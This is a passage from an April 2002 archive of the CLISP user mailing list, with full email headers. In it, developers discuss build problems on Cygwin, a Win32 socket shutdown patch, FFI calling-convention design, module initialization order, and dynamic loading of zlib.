09:35:34 -0400 > * In message > * On the subject of "[clisp-list] Gmane access to Clisp lists." > * Sent on 14 Apr 2002 19:24:31 +0100 > * Honorable Peter Burwood writes: > > I suppose this email should be sent to them, but I presume someone > asked for Gmane to mirror the Clisp lists. I did not ask them, but I appreciate them making clisp lists more available. I get plenty of spam and I do not think that e-mail hiding helps. If you wish, you may contact them and ask to hide e-mails. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! Lisp suffers from being twenty or thirty years ahead of time. From samuel.steingold@verizon.net Tue Apr 16 06:41:54 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xTDV-00039c-00 for ; Tue, 16 Apr 2002 06:41:54 -0700 Received: from gnu.org ([151.203.33.20]) by out019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020416134147.PFEM13286.out019.verizon.net@gnu.org>; Tue, 16 Apr 2002 08:41:47 -0500 To: sigurd@12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp with Cywin and WinMe? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 06:42:06 2002 X-Original-Date: 16 Apr 2002 09:41:46 -0400 > * In message > * On the subject of "[clisp-list] Clisp with Cywin and WinMe?" > * Sent on Sun, 14 Apr 2002 22:30:10 +0200 > * Honorable sigurd@12move.de (Karl Pfl=E4sterer) writes: > > I tried to build clisp2.28 with a recent cygwin (OS is WinMe) from > source. Well I failed. Should I try a older version of clisp or is it > impossible? I followed the instructions in the unix-directory as > mentioned in the cygwin-directory. Before I post a lot of compiler > output to this list I think it is better to ask if someone succeded in > building clisp in such an environment. --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! Takeoffs are optional. Landings are mandatory. From samuel.steingold@verizon.net Tue Apr 16 06:58:05 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xTTA-0006do-00 for ; Tue, 16 Apr 2002 06:58:04 -0700 Received: from gnu.org ([151.203.33.20]) by out019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020416135802.PGVA13286.out019.verizon.net@gnu.org>; Tue, 16 Apr 2002 08:58:02 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] socket-accept not interruptible and broken http inspect server on win32 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 06:59:02 2002 X-Original-Date: 16 Apr 2002 09:58:01 -0400 > * In message > * On the subject of "[clisp-list] socket-accept not interruptible and broken http inspect server on win32" > * Sent on Mon, 15 Apr 2002 13:04:56 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > >To assure that all data is sent and received on a connected socket > >before it is closed, an application should use shutdown to close > >connection before calling closesocket. For example, to initiate a > >graceful disconnect: [...] missed this. please try the patch: --- stream.d.~1.266.~ Sat Apr 13 14:42:07 2002 +++ stream.d Tue Apr 16 09:56:35 2002 @@ -14119,6 +14115,9 @@ #if defined(UNIX_BEOS) || defined(WIN32_NATIVE) local void low_close_socket (object stream, object handle) { begin_system_call(); + #ifdef WIN32_NATIVE + if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); } + #endif if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); } end_system_call(); } -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! Modern man is the missing link between apes and human beings. From samuel.steingold@verizon.net Tue Apr 16 07:29:26 2002 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xTxR-0004HZ-00 for ; Tue, 16 Apr 2002 07:29:21 -0700 Received: from gnu.org ([151.203.33.20]) by out007.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020416142939.OVOE18698.out007.verizon.net@gnu.org>; Tue, 16 Apr 2002 09:29:39 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] critique of default-foreign-language (was: tiny suggestion about foreign1.lisp (FFI)) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 65 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 07:31:28 2002 X-Original-Date: 16 Apr 2002 10:29:11 -0400 > * In message > * On the subject of "[clisp-list] critique of default-foreign-language (was: tiny suggestion about foreign1.lisp (FFI))" > * Sent on Mon, 15 Apr 2002 09:17:40 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam wrote on the 11th of March: > > done. DEF-C-CALL-* are now deprecated and the default should be set > > using DEFAULT-FOREIGN-LANGUAGE (just like IN-PACKAGE). > > I oppose the implementation of this patch. > > o Do not deprecate DEF-C-CALL-OUT. That's what 99% or programmers > have been using 95% of time. > It consisely expresses the function's signature without > affecting arguments. Think about the subtle difference between: > (def-stdcall-call-out foo > (:arguments ((callback (c-function (:arguments #))))) > (:return-type int)) > and > (default-foreign-language :stdcall) > (def-call-out bar > (:arguments ((callback (c-function (:arguments #))))) > (:return-type int)) your example does not use def-call-out! the default-foreign-language is used not only in def-call-out, but also in c-function. do you want c-win32-function too? if the calling convention (default-foreign-language) is so crucial, let's make the :language argument required, even when default-foreign-language is there. having separate def-c-call-out, def-win32-call-out &c is "the scheme way" (TM) :-) in your example, the problem could have been resolved by issuing a default-foreign-language form in top-level > Yet I still like the idea of file-wide defaults. here you go! :-) > o Don't make your program correct behaviour depend on some external > and user configurable switch. (Some day, I may write an article > about how broken all the *print- are). You'll shoot yourself in the > foot in a couple of month or years. *print- is a nice gun. yes, if you are not careful, you will hurt yourself. This is a tradeoff between the US (2nd amendment) and Europe (only police has guns.) I am for the US approach - freedom above all. > Sorry for my reaction more than one month after the proposed patch. we all suffer from slow responses. why are you holding my patch in ? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! My other CAR is a CDR. From samuel.steingold@verizon.net Tue Apr 16 07:33:45 2002 Received: from out002slb.verizon.net ([206.46.170.14] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xU1g-0004s8-00 for ; Tue, 16 Apr 2002 07:33:44 -0700 Received: from gnu.org ([151.203.33.20]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020416143343.UCPV16260.out002.verizon.net@gnu.org>; Tue, 16 Apr 2002 09:33:43 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] regexp-exec filters too much References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 07:35:21 2002 X-Original-Date: 16 Apr 2002 10:33:36 -0400 > * In message > * On the subject of "[clisp-list] regexp-exec filters too much" > * Sent on Mon, 15 Apr 2002 09:57:16 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam wrote: > > > I don't know if variable size arrays will ever be > > > implemented for the FFI. > > I thought you were working on that! > > I'm dreaming of > (def-c-call-out regexec > (:arguments (preg (c-ptr regex_t)) > (string c-string) > (nmatch size_t :in) > (pmatch (c-ptr (c-array regmatch_t ,is_len(nmatch))) :out :alloca) > (eflags int)) > (:return-type int)) > but this is not yet within reach. > It's also broken (cf. my FFI-limits text). My current thoughts are along: comma outside of backquote! > (def-c-call-out regexec > (:arguments (preg (c-ptr regex_t)) > (string c-string) > (nmatch size_t :in) > (pmatch (c-ptr (c-array regmatch_t ,is_len(nmatch))) :out :alloca > :guard (zerop result)) > (eflags int)) > (:return-type int)) > I.e. the array is only returned when the function call returns success. just allow (pmatch (c-ptr-null (c-array regmatch_t is_len(nmatch))) :out :alloca) and you don't need to guard! (just return NIL!) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! Cannot handle the fatal error due to a fatal error in the fatal error handler. From lin8080@freenet.de Tue Apr 16 11:07:06 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xXM6-0004NL-00 for ; Tue, 16 Apr 2002 11:07:03 -0700 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout1.freenet.de with esmtp (Exim 3.33 #4) id 16xXLx-0002QH-00 for clisp-list@lists.sourceforge.net; Tue, 16 Apr 2002 20:06:53 +0200 Received: from ac97e.pppool.de ([213.6.201.126] helo=freenet.de) by mx1.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #4) id 16xXLx-0005i8-00 for clisp-list@lists.sourceforge.net; Tue, 16 Apr 2002 20:06:53 +0200 Message-ID: <3CBC49DD.FE72138C@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re:[clisp-list] A general query on the virtual machine Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 11:10:01 2002 X-Original-Date: Tue, 16 Apr 2002 17:57:17 +0200 Peter Wood wrote: Is the general consensus that fast, faster, fastest == good, better, best? If that is an unconditional judgement, then move to CMUCL. ................... So, I mean better is: when you can use a command several times and not only once. When CPUs move over 1 GHz, what priority has speed-optimizing? stefan From samuel.steingold@verizon.net Tue Apr 16 11:09:19 2002 Received: from out001slb.verizon.net ([206.46.170.13] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xXOH-00053g-00 for ; Tue, 16 Apr 2002 11:09:17 -0700 Received: from gnu.org ([151.203.33.20]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020416180909.LIRJ4773.out001.verizon.net@gnu.org>; Tue, 16 Apr 2002 13:09:09 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, haible@ilog.fr Subject: Re: [clisp-list] modules initialization, package and crashes References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 71 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 11:11:54 2002 X-Original-Date: 16 Apr 2002 14:09:11 -0400 > * In message > * On the subject of "[clisp-list] modules initialization, package and crashes" > * Sent on Fri, 5 Apr 2002 13:10:58 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > CLISP's external modules are initialized very early while starting > up. For instance, > o init_streamvars() has not yet been called (setting *TERMINAL-IO* etc.) > o init_packages() has not yet been called when starting without -M > o and many others as well... > > CLISP catches the attempt by modules to define Lisp functions > (e.g. LISPFUN) in an unknown package (spvw.d:init_other_modules): > { var object pack = find_package(asciz_to_string(packname,O(internal_encoding))); > if (nullp(pack)) # Package nicht gefunden? > { asciz_out_ss(GETTEXTL("module `%s' requires package %s." NLstring), > module->name, packname); > -> "module `mtest' requires package TESTCI." > > But it cannot do so for arbitrary objects, e.g. the symbol > TESTCI::DECIDER that Peter Wood tries to use. It attempts to read them > via a string-input-stream, so a package error is signaled. As > init_streamvars() has not yet been called, a suberror follows about > *TERMINAL-IO*. Why it crashes later on I don't know - it should not. > > It's not just a package problem. Any error signaled while reading the > object_tab to initialize an object causes CLISP to die. > > I don't know why in the LISPFUN case an error is signaled instead of > just creating a virgin package. Maybe because CLISP was not > initialized far enough, maybe because that would have disturbed later > FIND-PACKAGE checks in Lisp code. > > I don't know why init_other_modules_2() (esp. stream_read) etc. are > called that early in the process. > > There may be excellent reasons for all these. Only Bruno Haible could tell. The appended patch appears to fix the problem. Bruno, Joerg, do you like it? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! Beauty is only a light switch away. Index: src/spvw.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/spvw.d,v retrieving revision 1.181 diff -u -w -b -r1.181 spvw.d --- src/spvw.d 24 Mar 2002 21:08:08 -0000 1.181 +++ src/spvw.d 16 Apr 2002 18:08:18 -0000 @@ -2523,7 +2523,6 @@ loadmem(argv_memfile); # init O(current_language) O(current_language) = current_language_o(language); - init_other_modules_2(); # initialize modules yet uninitialized # set current evaluator-environments to the toplevel-value: aktenv.var_env = NIL; aktenv.fun_env = NIL; @@ -2587,6 +2586,7 @@ init_dependent_encodings(); # initialize stream-variables: init_streamvars(!(argv_execute_file == NULL)); + init_other_modules_2(); # initialize modules yet uninitialized #ifdef NEXTAPP # make nxterminal-stream functional: if (nxterminal_init()) { final_exitcode = 17; quit(); } From pjb@arcangel.dircon.co.uk Tue Apr 16 13:02:42 2002 Received: from mta03-svc.ntlworld.com ([62.253.162.43]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xZA0-0007kI-00 for ; Tue, 16 Apr 2002 13:02:41 -0700 Received: from proxyplus.universe ([62.255.75.143]) by mta03-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020416200235.FNRQ295.mta03-svc.ntlworld.com@proxyplus.universe> for ; Tue, 16 Apr 2002 21:02:35 +0100 Received: from 127.0.0.1 by Proxy+; Tue, 16 Apr 2002 17:47:24 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall-i386.c References: <20020409160335.A334@localhost.localdomain> <20020409212821.A334@localhost.localdomain> From: Peter Burwood Mail-Copies-To: never In-Reply-To: Will Newton's message of "Tue, 9 Apr 2002 22:34:04 +0100" Message-ID: Lines: 92 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 13:04:22 2002 X-Original-Date: 16 Apr 2002 18:47:23 +0100 Hi, I can provide some insight into this, though it is from hazy memory and I reserve the right to be slightly wrong. Will Newton writes: > On Tuesday 09 Apr 2002 8:28 pm, Peter Wood wrote: > > > This is definitely true, but the Makefile already deals with the '30 > > architectures' and I am only (tentatively) suggesting that the rule > > for avcall-i386.lo be changed, not the rules for sparc, mips, m68k, > > etc: > > Fair enough, if you are willing to take on the repsonsibility of working this > out I'm sure a patch would be accepted. I really cannot see the advantage of this proposed change. The code works as is and if you use the .c version, you might inadvertently break another i386 based platform. > > #avcall-i386.s : $(srcdir)/avcall-i386-macro.S > > # $(CPP) $(ASPFLAGS) $(srcdir)/avcall-i386-macro.S | grep -v '^ > > *#line' | grep -v '^#ident' | grep -v '^#' | sed -e 's,% ,%,g' -e 's,% > > ,%,g' -e 's,\. ,.,g ' > avcall-i386.s > > First we have to figure out what this does. AFAIK at the moment it does very > little. I think it is possible to remove this without any harm. I would like > someone who knew a little more about the code (Bruno?) to comment on this, > but I would guess it was written for some older code. It ensures that the .s file produced can be processed by the assembler. It does this by removing lines inserted by the CPP process that would upset the assembler. It also removes some spaces introduced by the CPP process, again because the assembler wouldn't grok the file otherwise. Trust me when I say Bruno would not put something horrible like that in unless there was a very good reason. Ok, I realise that the world has moved on since Bruno wrote Clisp and somethings may be unnecessary now, but Clisp has a reputation for the number of platforms it runs on and runs on correctly. It got that reputation by Bruno not trusting certain things and being a little paranoid. Please don't go removing something you don't understand just because it seems unnecessary on your platform. > > So we wouldn't have to worry about the 30 architectures, 'just' the > > few os's that run on i386, apart from linux which seems fine. > > > Another advantage to using the .c file is you can follow Clisp into > > avcall on gdb - well, you can do it with the .s file too, but > > assembler is ... assembler. > > It's not really that much assembler. I agree. If you really want to be able to follow Clisp into avcall with gdb, then I would suggest you make a special debug version that uses the .c version rather than risking break avcall for other people. I'm sure you will be able to count the number of people that want to do that on one hand, maybe even one finger. > > I don't suppose it really matters, and there _may_ be something wrong > > with compiling with the c file that I don't know about. The .S are used instead of .c files because we are hacking around at a fairly low level and there is no guarantee that the compiler will produce the right code. Even if the compiler can do it today, there is no guarantee it won't break in the future. Compilers tend to have far more bugs than assemblers. Also, avcall-i386.c even has in its comments "For other compilers [non gcc] use the pre-compiled assembler version." This is quite important, e.g., for Solaris CC on i386 or lcc on Windows i386, etc, the .c file will probably not produce assembly code that will do the right thing. > It is necessary to get the CFLAGS correct - the hppa code I have just written > requires no optimization be applied to it. Are you saying that using optimization on HPPA makes avcall not work? It is certainly true that the optimizer could remove or reorder some code, which would be a bit of a show stopper. > I imagine one of the reasons the assembler files are shipped with avcall > is that the things that are being done tend to test the optimizer of the > compiler to the limit. I would say thay 'optimization' of the code for performance is secondary. Getting the code to do the right thing in this hairy area is primary. regards, Peter From pjb@arcangel.dircon.co.uk Tue Apr 16 13:02:46 2002 Received: from mta03-svc.ntlworld.com ([62.253.162.43]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xZA4-0007ly-00 for ; Tue, 16 Apr 2002 13:02:44 -0700 Received: from proxyplus.universe ([62.255.75.143]) by mta03-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020416200241.FNSY295.mta03-svc.ntlworld.com@proxyplus.universe> for ; Tue, 16 Apr 2002 21:02:41 +0100 Received: from 127.0.0.1 by Proxy+; Tue, 16 Apr 2002 20:02:19 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] dynload.d compilation problems References: <20020414112431.A248@localhost.localdomain> From: Peter Burwood Mail-Copies-To: never In-Reply-To: Peter Wood's message of "Sun, 14 Apr 2002 11:24:31 +0200" Message-ID: Lines: 95 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 13:04:24 2002 X-Original-Date: 16 Apr 2002 21:02:18 +0100 Peter Wood writes: > I also have a rule for dynload.s, but that is only because the other > ..d files have such a rule, and it does not appear to be used!!??!! > More cruft from the assembler hack days? No, just more usefulness to help debug things when the compiler generates bad code. It is a makefile rule for developers. It does no harm if you don't need it. > [snip dynload.d problem and patch] > > Now I solved these problems by cruelly excising nearly all Joerg's > #ifdefs and #errors, and the changed dynload.d builds and works > without problems. This is obviously not portable, however. On the > other hand, the original dynload.d is not portable anyway. It uses > preprocessor directives inside macros, which is not part of the C > standard: > > http://gcc.gnu.org/fom_serv/cache/29.html > > If anyone wants to try it with the my hacked version, its appended. Thanks. On Cygwin there is a problem with CONST, so I added -DCONST=const to the compile command as a hack. Did you not have a similar problem, 'cos I didn't see it in your makefile rules. I see that Joerg had it in his compile commands too. Ok, a bit later and it all works. gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -c dynload.c -DCONST=const gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -DCONST=const -DHAVE_SHLIB -DHAVE_DLOPEN sysdll.c -c cd full # add MODULE(dynload) to modules.h ln -s ../modules.c modules.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -I/cygdrive/d/home/pjb/clisp/bld -c modules.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -x none ../dynload.o ../sysdll.o modules.o wildcard.o fnmatch.o regexp.o regexi.o regex.o lisp.a libsigsegv.a libintl.a libiconv.a libreadline.a libavcall.a libcallback.a -lncurses -lm -o lisp.run cd ../ full/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/regexp wildcard/wildcard -x "(saveinitmem \"full/lispinit.mem\")" I have to use a different name for the zlib dll for Cygwin. Maybe Clisp needs :cygwin added to *features* because it isn't quite unix? Mind you, perhaps cygwin should have libz.so as part of its unix emulation. bash-2.05a$ ./.clisp-full -q [1]> (defvar *zlib-location* "cygz.dll") ; Cygwin name for zlib dll *ZLIB-LOCATION* [2]> (load "dynex.lisp") ;; Loading file dynex.lisp ... # is a foreign pointer # is a foreign address # is a foreign function of foreign type (FFI:C-FUNCTION (:ARGUMENTS ((:|arg1| (FFI:C-PTR (FFI:C-ARRAY FFI:UINT8 23)) :OUT :ALLOCA) (:|arg2| (FFI:C-PTR FFI:ULONG) :IN-OUT :ALLOCA) (:|arg3| (FFI:C-PTR (FFI:C-ARRAY FFI:UINT8 9)) :IN :ALLOCA) (:|arg4| FFI:ULONG :IN :NONE))) (:RETURN-TYPE FFI:INT :NONE) (:LANGUAGE :STDC)). ;; Loading of file dynex.lisp is finished. T [3]> (compress #(1 2 3 4 5 6 7 8 9)) #(120 156 99 100 98 102 97 101 99 231 0 0 0 128 0 37 0 0 0 0 0 0 0) ; 16 ; FFI:UINT8 [4]> Well done Joerg, looks like dynamic loading works on Cygwin too. > Regards, > Peter Snap From toy@rtp.ericsson.se Tue Apr 16 13:51:33 2002 Received: from imr2.ericy.com ([198.24.6.3]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xZvI-000569-00 for ; Tue, 16 Apr 2002 13:51:32 -0700 Received: from mr7.exu.ericsson.se (mr7att.ericy.com [138.85.224.158]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id g3GKpQi16845 for ; Tue, 16 Apr 2002 15:51:26 -0500 (CDT) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id g3GKpPa01143 for ; Tue, 16 Apr 2002 15:51:25 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Tue Apr 16 15:50:57 2002 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id QAA15058; Tue, 16 Apr 2002 16:53:35 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g3GKotN24041; Tue, 16 Apr 2002 16:50:55 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: lin8080 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] A general query on the virtual machine References: <3CBC49DD.FE72138C@freenet.de> From: Raymond Toy In-Reply-To: <3CBC49DD.FE72138C@freenet.de> Message-ID: <4nzo03s6z7.fsf@rtp.ericsson.se> Lines: 17 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (bok choi) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 13:52:07 2002 X-Original-Date: 16 Apr 2002 16:50:52 -0400 >>>>> "lin8080" == lin8080 writes: lin8080> Peter Wood wrote: lin8080> Is the general consensus that fast, faster, fastest == good, better, lin8080> best? If that is an unconditional judgement, then move to CMUCL. lin8080> ................... lin8080> So, I mean better is: when you can use a command several times and not lin8080> only once. When CPUs move over 1 GHz, what priority has lin8080> speed-optimizing? If there were no reason to go faster, there wouldn't be 2+ GHz processors. There will always be something that needs the speed. Ray From markw@markwatson.com Tue Apr 16 13:52:29 2002 Received: from avocet.mail.pas.earthlink.net ([207.217.120.50] helo=avocet.prod.itd.earthlink.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xZwC-0005DJ-00 for ; Tue, 16 Apr 2002 13:52:28 -0700 Received: from 1cust136.tnt1.sedona.az.da.uu.net ([63.11.160.136] helo=localhost) by avocet.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 16xZw7-0005bh-00 for clisp-list@lists.sourceforge.net; Tue, 16 Apr 2002 13:52:24 -0700 Mime-Version: 1.0 (Apple Message framework v481) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Mark Watson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: <0E1250AB-517C-11D6-A7B6-000A27E2BE52@markwatson.com> X-Mailer: Apple Mail (2.481) Subject: [clisp-list] Q: getting command line args in CLisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 13:53:06 2002 X-Original-Date: Tue, 16 Apr 2002 13:53:50 -0700 I wanted to use CLisp for some simple scripting and I need to grab the command line args when starting CLisp. I didn't see anything in the docs on how to do this. Any ideas? Thanks, Mark -- Mark Watson, author and Java consultant -- www.markwatson.com - Open Source and Open Content -- www.knowledgebooks.com - Commercial artificial intelligence software From don-sourceforge@isis.cs3-inc.com Tue Apr 16 14:01:53 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xa5I-0006LA-00 for ; Tue, 16 Apr 2002 14:01:52 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g3GKxEp28711; Tue, 16 Apr 2002 13:59:14 -0700 X-Authentication-Warning: 